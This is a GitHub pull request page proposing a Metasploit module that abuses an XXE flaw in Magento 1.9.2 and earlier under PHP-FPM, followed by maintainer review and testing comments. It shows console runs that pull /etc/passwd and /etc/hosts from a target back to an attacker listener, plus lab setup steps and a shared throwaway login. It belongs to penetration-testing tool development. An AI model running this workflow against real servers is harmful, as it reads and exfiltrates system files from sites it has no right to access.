Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add a module for the recent magento XXE #6235

Closed
wants to merge 2 commits into from

Conversation

Projects
None yet
5 participants
@jvoisin
Copy link
Contributor

jvoisin commented Nov 13, 2015

This module abuses an XML External Entity Injection vulnerability in Magento <= 1.9.2. More precisely, the vulnerability is in the Zend Framework.

In short, the Zend Framework XXE vulnerability stems from an insufficient sanitisation of untrusted XML data on systems that use PHP-FPM to serve PHP applications. By using certain multibyte encodings within XML, it is possible to bypass the sanitisation and perform certain XXE attacks.

Since eBay Magento is based on Zend Framework and uses several of its XML classes, it also inherits this XXE vulnerability.

This is a straightforward port of this exploit.

Console output

$ /opt/msf ./msfconsole

 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

       =[ metasploit v4.11.5-dev-9a0f0a7                  ]
+ -- --=[ 1505 exploits - 867 auxiliary - 251 post        ]
+ -- --=[ 434 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/gather/magento_xxe
msf auxiliary(magento_xxe) > set RPORT 8080
RPORT => 8080
msf auxiliary(magento_xxe) > set SRVHOST 192.168.1.11
SRVHOST => 192.168.1.11
msf auxiliary(magento_xxe) > setg RHOST 192.168.1.25
RHOST => 192.168.1.25
msf auxiliary(magento_xxe) > show options

Module options (auxiliary/gather/magento_xxe):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILEPATH   /etc/passwd      yes       The filepath to read on the server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.25     yes       The target address
   RPORT      8080             yes       The target port
   SRVHOST    192.168.1.11     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base Magento directory path
   URIPATH    fetch.php        yes       The URI path to use for this exploit to get the data back
   VHOST                       no        HTTP server virtual host

msf auxiliary(magento_xxe) > set FILEPATH /etc/hosts
FILEPATH => /etc/hosts
msf auxiliary(magento_xxe) > run

[*] Using URL: http://192.168.1.11:8080/fetch.php
[*] Server started.
[*] 192.168.1.25     magento_xxe - Got an answer from the server.
[+] 192.168.1.25     magento_xxe - File /etc/hosts found and saved to path: /home/jvoisin/.msf4/loot/20151113173022_default_192.168.1.25_magento.file_682845.txt
[*] Server stopped.
[*] Auxiliary module execution completed
msf auxiliary(magento_xxe) > cat /home/jvoisin/.msf4/loot/20151113173022_default_192.168.1.25_magento.file_682845.txt
[*] exec: cat /home/jvoisin/.msf4/loot/20151113173022_default_192.168.1.25_magento.file_682845.txt

127.0.0.1   localhost
127.0.1.1   debian

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
msf auxiliary(magento_xxe) >

How to reproduce

  1. Get the "Community Edition" of magento on its website (Feel free to use bugmenot@mailinator.com/Password1 to log in), older or precisely 1.9.2
  2. Install nginx and php-fpm with apt install nginx php5-fpm. This is the configuration that I used:
server {
    listen 0.0.0.0:8080  default;
    listen 192.168.1.25:8080;
    server_name _;
    root /var/www2/;
    index index.php;

    location = /js/index.php/x.js { rewrite ^(.*\.php)/ $1 last; }

    location / { try_files $uri $uri/ @rewrite; }
    location @rewrite { rewrite / /index.php?$args; }
    location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/var/run/php5-fpm.sock;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    }
}
  1. Launch metasploit, use auxiliary/gather/magento_xxe, set
    options
  2. Get your file exfiltrated in your loot.

Current issues

  1. The XML is hand-crafted because I don't know how to Nokogiri
  2. I'm quite sure that the service.stop in the primer function is
    wrong. What is the regular way to handle this?
Add a module for the recent magento XXE
```
jvoisin@kaa 16:10 /opt/msf ./msfconsole

 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

       =[ metasploit v4.11.5-dev-9a0f0a7                  ]
+ -- --=[ 1505 exploits - 867 auxiliary - 251 post        ]
+ -- --=[ 434 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/gather/magento_xxe
msf auxiliary(magento_xxe) > set RPORT 8080
RPORT => 8080
msf auxiliary(magento_xxe) > set SRVHOST 192.168.1.11
SRVHOST => 192.168.1.11
msf auxiliary(magento_xxe) > setg RHOST 192.168.1.25
RHOST => 192.168.1.25
msf auxiliary(magento_xxe) > show options

Module options (auxiliary/gather/magento_xxe):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILEPATH   /etc/passwd      yes       The filepath to read on the server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.25     yes       The target address
   RPORT      8080             yes       The target port
   SRVHOST    192.168.1.11     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base Magento directory path
   URIPATH    fetch.php        yes       The URI path to use for this exploit to get the data back
   VHOST                       no        HTTP server virtual host

msf auxiliary(magento_xxe) > run

[*] Using URL: http://192.168.1.11:8080/fetch.php
[*] Server started.
[*] 192.168.1.25     magento_xxe - Got an answer from the server.
[+] 192.168.1.25     magento_xxe - File /etc/passwd found and saved to path: /home/jvoisin/.msf4/loot/20151113163706_default_192.168.1.25_magento.file_415167.txt
[*] Server stopped.
[*] Auxiliary module execution completed
```

1. [ ] Get the "Community Edition" of magento on [its website]( https://www.magentocommerce.com/download ) (Feel free to use bugmenot@mailinator.com/Password1 to log in)
2. [ ] Install nginx and php-fpm. This is the configuration that I used:
```
server {
    listen 0.0.0.0:8080  default;
    listen 192.168.1.25:8080;
    server_name _;
    root /var/www2/;
    index index.php;

    location = /js/index.php/x.js { rewrite ^(.*\.php)/ $1 last; }

    location / { try_files $uri $uri/ @rewrite; }
    location @rewrite { rewrite / /index.php?$args; }
    location ~ \.php$ {
	try_files $uri =404;
	fastcgi_pass unix:/var/run/php5-fpm.sock;
	fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
	include fastcgi_params;
    }
}
```

3. [ ] Launch metasploit, `use auxiliary/gather/magento_xxe`, set
options
4. [ ] Get your file exfiltrated in your loot.

1. The XML is hand-crafted because I don't know how to Nokogiri
2. I'm quite sure that the `service.stop` in the `primer` function is
wrong. What is the regular way to handle this?
@madmike33

This comment has been minimized.

Copy link

madmike33 commented Nov 14, 2015

Great jon again :)

@Dhamuharker

This comment has been minimized.

Copy link

Dhamuharker commented Nov 14, 2015

jon supper 👍

@Dhamuharker

This comment has been minimized.

Copy link

Dhamuharker commented Nov 14, 2015

jhon i need help ?

@espreto

This comment has been minimized.

Copy link
Contributor

espreto commented Nov 16, 2015

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 16, 2015

Done :)

@jvoisin jvoisin referenced this pull request Nov 17, 2015

Closed

Add a module for Magento's Shoplift RCE #6250

4 of 5 tasks complete

@wchen-r7 wchen-r7 self-assigned this Nov 18, 2015

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 18, 2015

@jvoisin I am currently on magento 1.9.0.0, and this module doesn't work for me. Could you please take a look at that version?

Regarding the use of service.stop.... it looks okay for me. I don't see port 8080 listening after the module exits. Another way seems to be:

cleanup

def cleanup
  super
end

If I'm not mistaken, since Msf::Exploit::Remote::HttpServer::HTML is included last, it should call HttpServer's cleanup, which will remove all the HTTP resources (such as registered URIs), and then that should call TcpServer's cleanup (which will call stop_service). I THINK that's how it works based on reading code.

The difference between that approach and what you currently have, is that after yours calling service.stop, it does not try to remove resources right away, but when you call cleanup it should.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 23, 2015

I just tested it on 1.9.0.0 and 1.9.1.0, it works in both cases :/

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 23, 2015

@jvoisin Hmmm, default settings?

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 23, 2015

Ho, wait, I know what might be wrong!

This module will send you back the data on SRVHOST:SRVPORT, and I think that the default setting is to have 0.0.0.0 as SRVHOST.

Can my module enforce SRVHOST to be something else?
Also, can you confirm that this is the issue?

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 23, 2015

Oh ok. Yeah, I don't recall modifying the SRVHOST and SRVPORT settings at all. It must have been a mistake on my end. Thanks for pointing it out, I will test this later today :-)

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 24, 2015

Not so much luck, but this is how far I got:

Module options (auxiliary/gather/magento_xxe):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FILEPATH    /etc/passwd      yes       The filepath to read on the server
   HTTP_DELAY  10               yes       The URI path to use for this exploit to get the data back
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST       192.168.1.202    yes       The target address
   RPORT       80               yes       The target port
   SRVHOST     192.168.1.199    yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI   /magento/        yes       Base Magento directory path
   URIPATH     fetch.php        yes       The URI path to use for this exploit to get the data back
   VHOST                        no        HTTP server virtual host

msf auxiliary(magento_xxe) > rerun
[*] Reloading module...

[*] Using URL: http://192.168.1.199:8080/fetch.php
[*] Server started.
[*] Server stopped.
[*] Auxiliary module execution completed
msf auxiliary(magento_xxe) > 
@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 27, 2015

Are you sure that you're using php-fpm?
If so, can you confirm that the poc is working on your setup?

@wchen-r7 wchen-r7 added the delayed label Dec 8, 2015

wchen-r7 added a commit that referenced this pull request Mar 30, 2016

Land #6235 to unstable, Add a module for the recent magento XXE
We are unable to get this module to work reliably, please see #6235
for more info.
@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Mar 30, 2016

@jvoisin Like the PR, since we have not been able to make any more progress, I have moved this PR to the same branch (for incomplete or unstable modules). We can tackle this later if you'd like. Thanks again for the PR.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.